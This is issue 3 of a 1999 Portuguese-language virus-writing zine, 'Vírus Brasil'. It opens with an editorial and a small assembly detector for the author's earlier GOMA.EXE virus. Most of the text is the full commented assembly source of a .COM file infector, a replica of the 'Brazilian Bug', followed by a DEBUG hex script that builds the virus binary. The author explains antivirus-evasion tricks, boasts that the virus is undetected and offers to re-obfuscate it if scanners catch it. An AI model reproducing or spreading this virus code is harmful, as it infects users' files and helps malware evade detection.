
             /  __           ___             __   __   __   ___ .           
      |  /  |  |__)  |   |  (__             | _) |__) |__| (__  | |         
      |/    |  |  \  |___|  ___)            |__) |  \ |  | ___) | |___      
                                                                            

                                                                             
                           ݳ޺ݳ۳   03
                           ݳ޺ݳ۳  ޳
                        9  770169221097  ޳
                                                                             
                                                                             
                            Vrus Brasil n 3
                                                                             
                        Julho/Agosto/Setembro 1999


          HomePage : http://wwww.fortunecity.com/campus/medicine/120
                      Remind   : surf.to/virusbrasil
                      E-mail   : nim_bus@hotmail.com
                                                                             
                                                                             
                                                                             
    
              ___   ___         ___   ___          __    ___
             |     |   |  |\ |   |   |__   |   |  |  \  |   |
             |___  |___|  | \|   |   |___  |___|  |__/  |___|
                                                                             
  
                                                                             
   Conteudo:
   
                                                                             
        1 - Editorial ...
        2 - Ant-Vrus
        3 - Goma_Braziliam_Bug 
        4 - IMG.EXE (Copia e Restaura Imagens de Disquetes)
        5 - Alevir 2349 
        6 - Leandro e Kelly (Matria Especial)
        7 - Valeu ...
        8 - Thanks !

                                                                             
                                                                              
               ___   __   .  ___   ___    __   .   __
              |__   |  \  |   |   |   |  |__)  |  |__|  |
              |___  |__/  |   |   |___|  |  \  |  |  |  |___

  


        Chegamos a 3 edio do zine Vrus Brasil e nenhuma mudana foi 
  concretizada, o formato do zine continuar em .TXT at eu arrumar algum
  empolgado que deseja fazer em html ou seil o que, tambm no arrumei
  nenhum mano para escrever sobre vrus de macro e provavelmente terei de 
  me virar nessa parte tambm, sendo assim a prxima edico do zine j de-
  ve sair com alguma matria sobre vrus de macro.
        Tipo peo desculpas pelo atraso na entrega do zine, mas fiquei de
  exame na faculdade e fiquei sem tempo pra fechar direitinho essa edio 
  e dependendo dum camarada meu saia o zine em formato de revista, buniti-
  nho, com capa menu e os caraio a 4, mas to na dependencia do mano e o 
  cara me parece que tambm esta sem tempo, se por acaso sair, deve ter as
  mesmas matrias, mas com um formato mais bonito, no esse TXT escroto !
        Agradeo neste editorial ao Alevirus que me mandou a imagem do v-
  rus de boot Leandro&Kelly, valeu Alexandre ...
        Nesse nmero voc encontrar uma matria completona sobre o vrus
  L&K, com listagem comentada, o vrus em s, anti-virus em pascal para de-
  tect-lo e remove-lo entre outros. Segue tambm mais um goma vrus dessa
  vez uma replica de um vrus nacional conhecido como Brazillian Bug, voc 
  ir encontrar o vrus Alevir.2349 e um detector para o vrus Goma.EXE 
  (Vrus Brasil n2).
        Para a galera que entra na pgina e pergunta quem  a Miriam  a 
  mina da foto (caralho) e dentro em breve havero novas fotos dela ...
  se bem que t meio foda arrumar as porra das fotos, porque os muleque
  devolveram as fotos e os negativos pra ela, mas eu dou um jeito .
        Tipo se voc mandou um e-mail e esta demorando a resposta, no se
  desespere, estou sem tempo (no faa faculdade nunca !!!), mas eu irei
  reponder.
        Ah, em relao  Home Page, no se anime pensando que iro ocorrer
  mudanas na mesma, vou colocar o download do zine e olhe l !!!
        Fico por aqui qualquer coisa manda um e-mail, boa leitura ...

                                                                T+

 
               __         ___  .               /  __           ___          
              |__|  |\ |   |   |   __   |  /  |  |__)  |   |  (__           
              |  |  | \|   |   |        |/    |  |  \  |___|  ___)          
                                                                            
 
                                                                            
                                                                            
       
        2 - Anti-Virus ???? Mais ou menos ...
       
                                                                            
        Dando Sequencia a um apelo de minha mae, eu maneirei com os virus e 
   arrumei um pouco de tempo ( pouco mesmo ) e resolvi arrumar alguns anti-
   vrus pra galera , tenho esse de minha autoria para detectar o Goma.Exe,
   Tem um para detectar e remover o Leandro e Kelly ( nao  meu, mas ta va-
   lendo) e arrumei um para detectar o vrus Freddy_Krueger (esse eu dei u-
   mas melhoradas, pois tava muito podre ...).
        Creio que nesse nmero do Zine vai s esse detector mesmo , pois eu 
   ainda nao arrumei os fontes do Leandro e Kelly (oh veio, se voce tiver o 
   bago ai manda meu ta fods,nao acho nem a pau) e o raio do Freddy Krueger 
   eu nao consigo descompilar aquele porra e nas minhas debugancas fodi meu
   DOS quase que inteiro,entao ve se entende e tenha um pouco de paciencia, 
   afinal se eu por tudo que eu for fazendo em uma edicao s do zine, estou 
   pego, nao vou ter o que escrever ...
                                                                            
       
         Programa em assembly para detectar o virus GOMA.EXE.1551
       
                                                                            
              Compilado e testado com turbo assembler 3.0
                                                                            
        O programa abaixo  muito simples , embora exista tal fator ele en-
   contra-se totalmente comentado para a galera que esta aprendendo um pou-
   co de assembly e alm do que comentar os programas  um timo hbito pa-
   ra voce mesmo entender seus fontes aps alguns meses sem os ver ... 
        O funcionamento do Detector  muito simples, ele abre um arquivo (1 
    1 s) nao tem FindFirst nem Findnext e muito menos parametros , o pro-
   grama procura uma string ('GOMA') que eu deixei no GOMA.EXE de propsito
   O arquivo a ser investigado dever se chamar ISCA.EXE (retire os atribu-
   tos do mesmo ou coloque a funcao no programa, to sem tempo ...)
        Existem 3 coisas que podem acontecer :
   - Erros (inmeros deles,se vire pra descobrir,j disse que to sem tempo)
   - Arquivo Infectado (Aconselho mandar ele atachado num e-mail para algum
   fabricante de Anti-Vrus ou o renomeie ou o apague.)
   - Arquivo Nao Infectado (Nao pelo Goma.EXE original)
        Bom os fontes estao ai , caso tenha alguma dvida sobre o funciona-
   mento do programa,de um toque e se voce tiver algum detector de vrus ai 
   e achar que deve nos manda-lo, nao exite, mande agora mesmo...
                                                                            

      __   __ /  __   .   __    __          __   __        ___   __
     |    |  |  |  \  |  | _   |  |        |_   |  |  |\|   |   |_
     |__  |__|  |__/  |  |__|  |__|        |    |__|  | |   |   |__
                                                                             


;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Goma_Det ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
page          22101997
title         Virus Brasil nX em 1999 por nim_bus@hotmail.com
name          Goma_Detect_GomaExe   
                              ;
.286c                         ; Instrucoes 80286
.model tiny                   ; Modelo de memoria
.code                         ;
                              ;
; ----------------------------;         
; Funcoes                     ;
; ----------------------------;
Escrever_Mensagem equ 09h     ;
Abrir_Arquivo     equ 3dh     ;  
Mover_Ponteiro    equ 42h     ;  
Ler_Arquivo       equ 3fh     ;  
Fechar_Arquivo    equ 3eh     ;  
Finaliza_Programa equ 4ch     ;
; ----------------------------;
          Org     100h        ; Det_Goma.COM
                              ;
Det_Goma  Proc    Far         ;
                              ;
          Jmp     Inicio      ; Salto para o inicio do Programa
                              ;
; ----------------------------;
;  DATA                       ;
; ----------------------------;
Msg:                          ; Mensagem Padrao   
db "Goma Detect",13,10        ;
db "",13,10        ;
db "por Nim_Bus@hotmail.com em 1999$"
; ----------------------------;
Msg_1:                        ; Mensagem de infeccao   
db 13,10,"Arquivo nao infectado pelo virus GOMA.EXE.1551$"
; ----------------------------;
Msg_2:                        ; Mensagem de erro (generica)
db 13,10,"Arquivo nao pode ser verificado$"
; ----------------------------;
Msg_3:                        ;   
db 13,10,"Arquivo infectado pelo virus GOMA.EXE.1551$"
; ----------------------------;
Arquivo:                      ; Arquivo a ser pesquisado
DB        "ISCA.EXE",0        ;
; ----------------------------;
Buffer    db  4 dup (?)       ; Buffer de leitura
; ----------------------------;
; Inicio do Programa          ;  
; ----------------------------;
Inicio:                       ;  
          Mov     Ah,Escrever_Mensagem ; Escrever
          Mov     Dx,offset Msg ; A mensagem Padrao
          Int     21h         ; Escreva
                              ;
; ----------------------------;
; Abrir o Arquivo             ;  
; ----------------------------;
Abrir:                        ;
          Mov     Ah,Abrir_Arquivo ;
          Mov     Al,00h      ; Somente para leitura
          Mov     Dx,Offset Arquivo ; Nome do arquivo
          Int     21h         ; Abra
          Jc      Erro        ; Algum erro ? Nao entao vamos em frente
                              ;
          Mov     Bx,Ax       ;
                              ;
; ----------------------------;
; Mover o Ponteiro            ;  
; ----------------------------;
Ponteiro:                     ;
          Mov     Ah,Mover_Ponteiro ;
          Mov     Al,00h      ; Do comeco para o Fim
          Xor     Cx,Cx       ;
          Mov     Dx,16       ; Posicione no 16 byte
          Int     21h         ; 
          Jc      Erro        ; Algum erro ?
                              ;
; ----------------------------;
; Ler o Arquivo               ;  
; ----------------------------;
Ler:                          ;
          Mov     Ah,Ler_Arquivo ;
          Mov     Cx,4h       ; Do byte 16 ao 20
          Lea     Dx,[bp + buffer] ; Armazene em DX
          Int     21h         ;
          Jc      Erro        ; Algum erro ?
                              ;
; ----------------------------;
; Esta infectado ?            ;  
; ----------------------------;
                              ;
          cmp     word ptr [bp + Buffer],'OG' ; Esta infectado ?
          je      infectado   ; Ter certeza se esta infectado pelo GOMA.EXE
                              ;
; ----------------------------;
; Fechar o Arquivo            ;  
; ----------------------------;
Fecha:                        ;
          Mov     Ah,Fechar_Arquivo ;
          Int     21h         ;
          Jc      Erro        ; Algum erro ?
                              ;
; ----------------------------;
; Nao esta infectado ...      ;  
; ----------------------------;
Nao_Infectado:                ;  
          Mov     Dx,Offset Msg_1 ; Mensagem de arquivo nao infectado
                              ; Pelo menos nao por ele (GOMA.EXE)
          Call    Mensagem    ;
                              ;
;-----------------------------;
; Finaliza o Programa         ;
;-----------------------------;
Finaliza  Proc    Near        ;
          Mov     Ah,Finaliza_Programa ; Termina o Programa
          Int     21h         ;
Finaliza  Endp                ;
;-----------------------------;
; Ocorreu algum erro, avise ! ; 
;-----------------------------;
Erro:                         ;
          Mov   Dx,offset Msg_2 ; 
          Call  Mensagem      ;  Mensagem de erro (generica)
          Call  Finaliza      ;  Fim
;-----------------------------;
; Procedure de escrever msg   ;
;-----------------------------;
Mensagem  Proc    Near        ;  
          Mov     Ah,Escrever_Mensagem ; que esta em DX
          Int     21h         ;
          Retn                ;
Mensagem  Endp                ;  
;-----------------------------;
; Verificador de Infeccao     ;
;-----------------------------;
Infectado Proc    Near        ;
          Cmp     Word ptr [bp + Buffer + 2],'AM'; GOMA string !!!
          Je      Infectado_1 ; Realmente, esta infectado
          Call    Fecha       ; Falha nossa ... nao infectado ...
Infectado_1:                  ;
          Mov     Ah,Fechar_Arquivo ;
          Int     21h         ;
          Mov   Dx,offset Msg_3 ;
          Call  Mensagem      ; Escrever Mensagem de arquivo infectado
          Call  Finaliza      ; Fim
Infectado Endp                ;  
;-----------------------------;
Det_Goma  Endp                ;
          End     Det_Goma    ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Goma_Det ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
                                                                            
        Como utilizar o Programa ?
        
        Voce para tentar detectar o vrus , deve suspeitar que tenha algum
   arquivo infectado, se nao nem precisa compilar o programa,pois o baguio
    rustico , arcaico e the Flash (Muito Rapido eu o fiz mas acho que nao
   existem bugs,se houverem e voce detecta-los, favor remeter !!!
        Bom pegue esse arquivo que voce acha que esta infectado, renomei-o
   para ISCA.EXE e rode o Goma_Det.Com, pronto, suas dvidas estarao sana-
   das...                                                                 
        O prego nao vai tentar detectar o vrus no proprio virus , ou seja 
   se voce tentar procurar o virus no arquivo que voce compilou o Goma.Exe
   voce nao o achar, mesmo que seja um .EXE,pois a string estara numa po-
   sicao diferente da procurada...
        T+
                                                                            


                                /  __           ___          
                         |  /  |  |__)  |   |  (__           
                         |/    |  |  \  |___|  ___)          
                                                                             

                                                                             
                                             
   3 - Goma_Braziliam_Bug (codigo-fonte)                                   
                                     

        Bom galera, como eu disse na edicao passada, que eu colocaria uns 
   virus de colegas brasileiros aqui no zine, como procurei as fontes de 
   uma porrada de virus brasileiro e nao achei porra nenhuma, so' as fontes
   do Alevir (que tambem estao ai no zine); entao resolvi radicalizar de 
   vez: 
        Procurei nas bibliotecas de virus (aquelas que dizem de onde o vi-
   rus e' quem fez, que dia ativa, o tamanho do virus, o que ele faz e 
   essas papagaiadas todas...) virus que fossem brasileiros, encontrei cre-
   io que no VSUM (www.vsum.com) apenas dois virus ditos brasileiros, e um
   deles e' o BRAZILIAN BUG, anotei todas as informacoes sobre o virus,tais
   como as citadas acima e resolvi, criar um virus novo que faca as mesmas
   coisas que o BRAZILIAN fazia, ou seja, fazer uma nova versao com um cor-
   po totalmente diferente, mas com as mesmas caracteristicas do original,
   digamos que sera uma nova versao do virus a versao que eu denominei de
   GOMA_BRAZILIAN_BUG .
        A fonte do virus em tese e' baseada no Goma_Com (Virus Brasil n1)
   com algumas alteracoes e com o tamanho e propriedades do virus que estou
   homenageando ...

                 
                              Comenta'rios
                 

        O virus por ser uma replica do Brazilian Bug tem todas as suas
   propriedades:

   Tamanho :   1343 Bytes

   Data de Ativacao : Todo Dia

   Acao : Mensagem (Apos todos os .COM forem infectados)

   Infecta : Arquivos .COM (Quantos existirem no diretorio) 
             Nunca infecta o COMMAND.COM

        Bom as informacoes tecnicas acima dao uma ideia do que o virus faz,
   nao e' um virus perigoso, os arquivos infectados, continuam funcionando,
   exibem a mensagem (original do BRAZILIAN BUG - vide fonte) e depois es-
   pera por uma tecla para iniciar o arquivo.
        O virus implementa muitas tecnicas para despistar anti-virus que 
   foram apresentadas por nos nas ultimas edicoes e uma nova sacada, a des-
   coberta de que os anti-virus na maioria das vezes, guardam a sequencia 
   do virus nos 150 primeiros bytes do arquivo (apos o jump que inicializa 
   o virus antes do arquivo), entao me valendo dessa preciosa informacao 
   inseri nos 150 primeiros bytes (mais que isso na verdade) a mensagem de
   ativacao do virus (atraves de um jump), creio que tal tecnica ja deva 
   ter sido utilizada em algum outro virus, mas eu nunca havia visto ou 
   pensado.
        Espero que voce entenda direito os fontes e seus comentarios, para
   variar, o virus e' 100% desconhecido (caso algum anti-virus ja o detecte
   quando voce vier a ler esse texto e compilar o mesmo, mande um e-mail pra
   mim que rapidamente eu faco o virus ficar desconhecido novamente ...
        Como de costume, segue abaixo os fontes e o script do virus.
   

      __   __ /  __   .   __    __          __   __        ___   __
     |    |  |  |  \  |  | _   |  |        |_   |  |  |\|   |   |_
     |__  |__|  |__/  |  |__|  |__|        |    |__|  | |   |   |__
                                                                             


;;;;;;;;;;;;;;;;;;;;;;;;; GOMA_BRAZILIAN_BUG ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
page          22101997
title         Virus Brasil n3 em 1999 por nim_bus@hotmail.com
name          Goma_Brazilian_Bug
                                       ;
.286c                                  ; Instrucoes 80286 
.model tiny                            ; Modelo de memoria
                                       ;
;;;;;;;;;;;;;;;;;;    CONSTANTES     ;;;;;;;;;;;;;;;;;;;;;;;;
Fechar_arquivo          equ   3eh                           ;
Abrir_arquivo           equ   3d02h                         ;
Area_transferencia_DTA  equ   1ah                           ;
Ler_arquivo             equ   3fh                           ;
Achar_Primeiro          equ   4eh                           ;
Mais_arquivos           equ   4fh                           ;
Arquivos_COM            equ   100h                          ;
Ponteiro_Ler_Gravar     equ   42h                           ;    
Data_Hora               equ   5700h                         ;
Atributos               equ   4300h                         ;
Tamanho_Virus           equ   Fim_virus - Inicio_Virus      ;
Tres_bytes              equ   Fim_virus - Inicio_Virus + 3  ;
;;;;;;;;;;;;;;;;;;    CONSTANTES     ;;;;;;;;;;;;;;;;;;;;;;;;
                                       ;
Virus         segment byte public 'Virus'  ; Inicio do codigo do virus
              assume  cs:Virus,ds:Virus,es:nothing,ss:nothing  ;
              org     Arquivos_COM     ; Inicio de arquivos COM 
                                       ;
Inicio:                                ;
              db      0E9h,3,0         ; Salto para o virus
Arq_infectado:                         ;
              db      0CDh,20h,0       ; Arquivo a ser infectado       
Inicio_Virus:                          ;
              call    avp              ; Chamada de procedimento
                                       ;
                                       ;
              jmp     legal            ;   
                                       ;
Msg:                                   ; 
DB   "[TDG'99]   ******   HELLO FRIEND   ******",13,10,13,10
DB   "        WE ARE SORRY TO INFORM YOU THAT YOUR",13,10,13,10
DB   "               SYSTEM IS VERY ILL",13,10,13,10
DB   "              AND WILL NOT SURVIVE",13,10,13,10
DB   "                  MUCH LONGER",13,10,13,10
DB   "             YOU UNFORTUNATELY HAVE",13,10,13,10
DB   "       - THE GOMA BRAZILIAN BUG version 2 -",13,10,13,10
DB   "           FOR WHICH THERE IS NO CURE",13,10,13,10
DB   " WE HOPE THIS WILL NOT BE AN INCONVENIENCE TO YOU",13,10,13,10     
DB   "           LOVE,",13,10,13,10
DB   "                THE MAGIK MUSICIANS and NIM_BUS",13,10,"$"  
                                       ;
                                       ;
legal:                                 ;
              push    ds es            ;
                                       ;
              lea     dx,[bp + offset Nova_Area_DTA]  ; Data Transfer Area 
              mov     ah,Area_transferencia_DTA       ; DTA
              int     33               ;

              call    Infectar_dir     ; Infectar todos os Arquivos .COM
                                       ;
              call    Ativacao         ; e depois exibir uma mensagem
                                       ;
              pop     es ds            ;  
              call    data_area        ;  
              int     33               ;  
                                       ;  
              lea     si,[bp + Arq_infectado]  ; Restaurar o arquivo
              mov     di,Arquivos_COM  ;  Inicio do arquivo
              push    di               ;         
                                       ;
              call    mover_string     ; Despistar anti-virus
                                       ;
              call    Registradores    ;
              ret                      ;
                                       ;
Nome_arquivo:                          ;
              push    ds               ; 
              pop     es               ;
              mov     di,dx            ;
              mov     cx,64            ;
              mov     al,'.'           ;
              repnz   scasb            ;
              ret                      ;
                                       ;
avp:                                   ;
              call    $ + 3            ;  
              pop     bp               ;  Chamando os ponteiros
              sub     bp,offset $ - 1  ;
              ret                      ;
                                       ;
Registradores:                         ;
              xor     ax,ax            ;
              cwd                      ;     
              xor     bx,bx            ;
              mov     si,Arquivos_COM  ;
              call    Registradores_1  ;
                                       ;
Registradores_1:                       ;
              xor     di,di            ;
              xor     bp,bp            ;
              ret                      ;
                                       ;
Mover_string:                          ;
              movsw                    ;
              movsb                    ;
              ret                      ;
                                       ;
Sem_acao:                              ;
              ret                      ; 
                                       ;
Data_area:                             ;
              mov     dx,80h           ; Restaurar DTA original
              mov     ah,Area_transferencia_DTA   ;
              ret                      ;
                                       ;
                                       ;
Infectar_dir:                          ;
              mov     ah,Achar_Primeiro   ; Achar primeiro arquivo DOS 
              inc     byte ptr [bp + 2 + offset Mascara]  ;
              lea     dx,[bp + Mascara]   ; Procurar .COM 
              int     33                  ;
              dec     byte ptr [bp + 2 + offset Mascara] ;
              jc      Beleza           ; 
                                       ;
Proximo_arquivo:                       ;
              lea     dx,[bp + Nova_Area_DTA + 1Eh]  ; Achou 
              call    Infecta          ;  Infecte
              mov     ah,Mais_arquivos ;
              int     33               ;
              jnc     Proximo_arquivo  ;  Vai procurando ...
                                       ;
Beleza:                                ;
              ret                      ;
                                       ;
Mascara       db      '*.BOM',0   ; Porque precisa ser .COM ?
                                       ;
Ativacao:                              ;
              mov     ah,09h           ;                  
              lea     dx,[bp+Msg]      ;                  
              int     21h              ;
                                       ;
              mov     ah, 0            ; Espera por uma tecla
              int     16h              ;
                                       ;
              ret                      ;
                                       ;
Infecta:                               ;
              push    si               ;
              call    Nome_arquivo     ; Checar o nome do arquivo
              cmp     es:[di - 3],'DN' ; Pula fora se for o Command.com
              jne     Continua         ;
              jmp     erro             ; 
                                       ;
Continua:                              ;
              mov     ax,Atributos     ; Ver os atributos do arquivo
              int     33               ;
                                       ;
              push    cx dx ds         ;
              xor     cx,cx            ; Zera-los 
              call    Attrib_funcao    ;
                                       ;
              mov     ax,Abrir_arquivo ; Abrir_arquivo
              int     33               ;
                                       ;
              jc      Erro             ; Nao consegui . :(
              xchg    bx,ax            ;
                                       ;
              mov     ax,Data_Hora     ; Guarde a data e a hora do arquivo
              int     33               ; Embora nao iremos restaurar ...
                                       ;
              push    cx dx            ;
              mov     ah,Ler_arquivo   ; Ler o arquivos
              mov     cx,28            ; Ler os 28 primeiros bytes
              lea     dx,[bp + Buffer_leitura] ; Ler a header (original)
              int     33               ;
                                       ;
;;;;;; Arquivo e' EXE nao infectar ;;;;;
                                       ;
              cmp     byte ptr [bp + Buffer_leitura],'M'  ; Tem 'M' nos 2 
                                                          ; primeiros bytes
              je      Nao_infectar     ; entao  EXE , nao infecte .

              cmp     byte ptr [bp + Buffer_leitura],'Z'  ; Tem 'Z' nos 2 
                                                          ; primeiros bytes
              je      Nao_infectar     ; entao  EXE , nao infecte .
                                       ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
                                       ;
              mov     al,2             ; Vamos para o fim do arquivo inserir 
                                       ; o virus
              call    Ponteiros        ; Entao vamos !
                                       ;
;;;;;; Vai dar estouro de divisao  ;;;;;
                                       ;
              cmp     dx,65279 - Tres_bytes ; Estouro de divisao ?
              ja      Nao_infectar     ; Nao infecte 
                                       ;
;;;;;;;; O arquivo e' isca ?? ;;;;;;;;;;
                                       ;
              cmp     dx,14            ; Arquivo isca (muito pequeno)
              jb      Nao_infectar     ; Nao infecte 
                                       ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
                                       ;
              sub     dx,Tres_bytes    ; Ver se ja esta infectado 
              cmp     dx,word ptr [bp + Buffer_leitura + 1]  ; Esta ?
              je      Nao_infectar     ; Nao infecte
                                       ;
              add     dx,Tres_bytes    ; Insere la !!!
              mov     word ptr [bp + Novo_laco + 1],dx  ;
              lea     dx,[bp + Buffer_leitura] ; Salvar a header (original)
              int     33               ;
                                       ;
              call    Escrever_arquivo ;
                                       ;
              xor     al,al            ; Volta para o comeco do arquivo 
              call    Ponteiros        ;
                                       ;
              lea     dx,[bp + Novo_laco] ; 
              int     33               ;
                                       ;
Despista_grandao:                      ;
              pop     dx cx            ;
                                       ;
Fechar:                                ;
              pop     ds dx cx         ; Atributos (deixar sem nenhum)
              call    Attrib_funcao    ;
                                       ;
              mov     ah,Fechar_arquivo; Fechar arquivo
              int     33               ;
                                       ;
Erro:                                  ;
              pop     si               ;
              ret                      ;
                                       ;
Attrib_funcao:                         ;
              mov     ax,Atributos     ;
              inc     al               ;
              int     33               ;
              ret                      ;
                                       ;
Escrever_arquivo:                      ;
              call    Panda            ;
              mov     cx,Tamanho_Virus ; Tamanho do virus
              lea     dx,[bp + Inicio_Virus] ; Comeco do virus 
              int     33               ;  
              ret                      ;
                                       ;
Nao_infectar:                          ;
              pop     cx dx            ; Deu algum chabu . Ja ta infectado ,  can't infect, skip
                                       ;  EXE , isca ou dara estouro de 
                                       ; divisao .
              jmp     Fechar           ;
Ponteiros:                             ;
              mov     ah,Ponteiro_Ler_Gravar ; Ponteiro de leitura e gravacao
              xor     cx,cx            ;  Coloque o offset em zero
              cwd                      ;  
              int     33               ;
                                       ;
              mov     dx,ax            ;  Mudar registradores (conteudo)
              mov     ah,40h           ;
              mov     cx,3             ;
              ret                      ;
                                       ;
Panda:                                 ;
              mov     ah,40h           ;  Escrever o virus dentro do arquivo 
              ret                      ;
                                       ;
                                       ;
Novo_laco     db      0E9h,0,0         ;
                                       ;
Igualar_tamanho:                       ;  Rotina para igualar o tamanho da
DB            555     dup(0)           ;  replica com o virus.
                                       ;
Zoando:                                ;  Uma Zoadinha indicando o fim do
DB            "E O V"                  ;  Virus ...
                                       ;
Fim_virus:                             ;
Buffer_leitura        db      28 dup (?)       ;   read buffer
Nova_Area_DTA         db      128 dup(?)       ;
                                       ;
Virus         ends                     ;
              end     Inicio           ; EOV (End Of Virus)
                                       ;
;;;;;;;;;;;;;;;;;;;;;;;;; GOMA_BRAZILIAN_BUG ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
                                                                             
                                                                             

                      ___   ___   __   .   __   ___
                     (__   |     |__)  |  |__)   |
                     ___)  |___  |  \  |  |      |
                                                                             

                                                                             
        Essa parte do zine contem um script para ser utilizado no debug do 
   dos, esse script cria o virus Goma_Brazilian_Bug a partir do debug pelo 
   simples comando:                                                                
                                                                             
                        DEBUG < (arquivo.scr)
                                                                             
;;;;;;;;;;;;;;;;;; Goma_Bug.SCR ;;;;;;;;;;;;;;;;;;;;;;;
N GOMA_BUG.COM
E 0100 E9 03 00 CD 20 00 E8 F8 01 E9 C3 01 5B 54 44 47 
E 0110 27 39 39 5D 20 20 20 2A 2A 2A 2A 2A 2A 20 20 20 
E 0120 48 45 4C 4C 4F 20 46 52 49 45 4E 44 20 20 20 2A 
E 0130 2A 2A 2A 2A 2A 0D 0A 0D 0A 20 20 20 20 20 20 20 
E 0140 20 57 45 20 41 52 45 20 53 4F 52 52 59 20 54 4F 
E 0150 20 49 4E 46 4F 52 4D 20 59 4F 55 20 54 48 41 54 
E 0160 20 59 4F 55 52 0D 0A 0D 0A 20 20 20 20 20 20 20 
E 0170 20 20 20 20 20 20 20 20 53 59 53 54 45 4D 20 49 
E 0180 53 20 56 45 52 59 20 49 4C 4C 0D 0A 0D 0A 20 20 
E 0190 20 20 20 20 20 20 20 20 20 20 20 20 41 4E 44 20 
E 01A0 57 49 4C 4C 20 4E 4F 54 20 53 55 52 56 49 56 45 
E 01B0 0D 0A 0D 0A 20 20 20 20 20 20 20 20 20 20 20 20 
E 01C0 20 20 20 20 20 20 4D 55 43 48 20 4C 4F 4E 47 45 
E 01D0 52 0D 0A 0D 0A 20 20 20 20 20 20 20 20 20 20 20 
E 01E0 20 20 59 4F 55 20 55 4E 46 4F 52 54 55 4E 41 54 
E 01F0 45 4C 59 20 48 41 56 45 0D 0A 0D 0A 20 20 20 20 
E 0200 20 20 20 2D 20 54 48 45 20 47 4F 4D 41 20 42 52 
E 0210 41 5A 49 4C 49 41 4E 20 42 55 47 20 76 65 72 73 
E 0220 69 6F 6E 20 32 20 2D 0D 0A 0D 0A 20 20 20 20 20 
E 0230 20 20 20 20 20 20 46 4F 52 20 57 48 49 43 48 20 
E 0240 54 48 45 52 45 20 49 53 20 4E 4F 20 43 55 52 45 
E 0250 0D 0A 0D 0A 20 57 45 20 48 4F 50 45 20 54 48 49 
E 0260 53 20 57 49 4C 4C 20 4E 4F 54 20 42 45 20 41 4E 
E 0270 20 49 4E 43 4F 4E 56 45 4E 49 45 4E 43 45 20 54 
E 0280 4F 20 59 4F 55 0D 0A 0D 0A 20 20 20 20 20 20 20 
E 0290 20 20 20 20 4C 4F 56 45 2C 0D 0A 0D 0A 20 20 20 
E 02A0 20 20 20 20 20 20 20 20 20 20 20 20 20 54 48 45 
E 02B0 20 4D 41 47 49 4B 20 4D 55 53 49 43 49 41 4E 53 
E 02C0 20 61 6E 64 20 4E 49 4D 5F 42 55 53 0D 0A 24 1E 
E 02D0 06 8D 96 5E 06 B4 1A CD 21 E8 48 00 E8 6D 00 07 
E 02E0 1F E8 3A 00 CD 21 8D B6 03 01 BF 00 01 57 E8 29 
E 02F0 00 E8 16 00 C3 1E 07 8B FA B9 40 00 B0 2E F2 AE 
E 0300 C3 E8 00 00 5D 81 ED 04 03 C3 33 C0 99 33 DB BE 
E 0310 00 01 E8 00 00 33 FF 33 ED C3 A5 A4 C3 C3 BA 80 
E 0320 00 B4 1A C3 B4 4E 3E FE 86 48 03 8D 96 46 03 CD 
E 0330 21 3E FE 8E 48 03 72 0D 8D 96 7C 06 E8 1A 00 B4 
E 0340 4F CD 21 73 F3 C3 2A 2E 42 4F 4D 00 B4 09 8D 96 
E 0350 0C 01 CD 21 B4 00 CD 16 C3 56 E8 98 FF 26 81 7D 
E 0360 FD 4E 44 75 02 EB 7B B8 00 43 CD 21 51 52 1E 33 
E 0370 C9 E8 70 00 B8 02 3D CD 21 72 67 93 B8 00 57 CD 
E 0380 21 51 52 B4 3F B9 1C 00 8D 96 42 06 CD 21 3E 80 
E 0390 BE 42 06 4D 74 63 3E 80 BE 42 06 5A 74 5B B0 02 
E 03A0 E8 5A 00 81 FA C0 F9 77 50 83 FA 0E 72 4B 81 EA 
E 03B0 3F 05 3E 3B 96 43 06 74 40 81 C2 3F 05 3E 89 96 
E 03C0 10 04 8D 96 42 06 CD 21 E8 21 00 32 C0 E8 2D 00 
E 03D0 8D 96 0F 04 CD 21 5A 59 1F 5A 59 E8 06 00 B4 3E 
E 03E0 CD 21 5E C3 B8 00 43 FE C0 CD 21 C3 E8 1D 00 B9 
E 03F0 3C 05 8D 96 06 01 CD 21 C3 59 5A EB DB B4 42 33 
E 0400 C9 99 CD 21 8B D0 B4 40 B9 03 00 C3 B4 40 C3 E9 
E 0410 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0420 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0430 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0440 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0450 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0460 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0470 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0480 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0490 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 04A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 04B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 04C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 04D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 04E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 04F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0500 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0510 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0520 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0530 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0540 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0550 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0560 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0570 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
E 0580 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
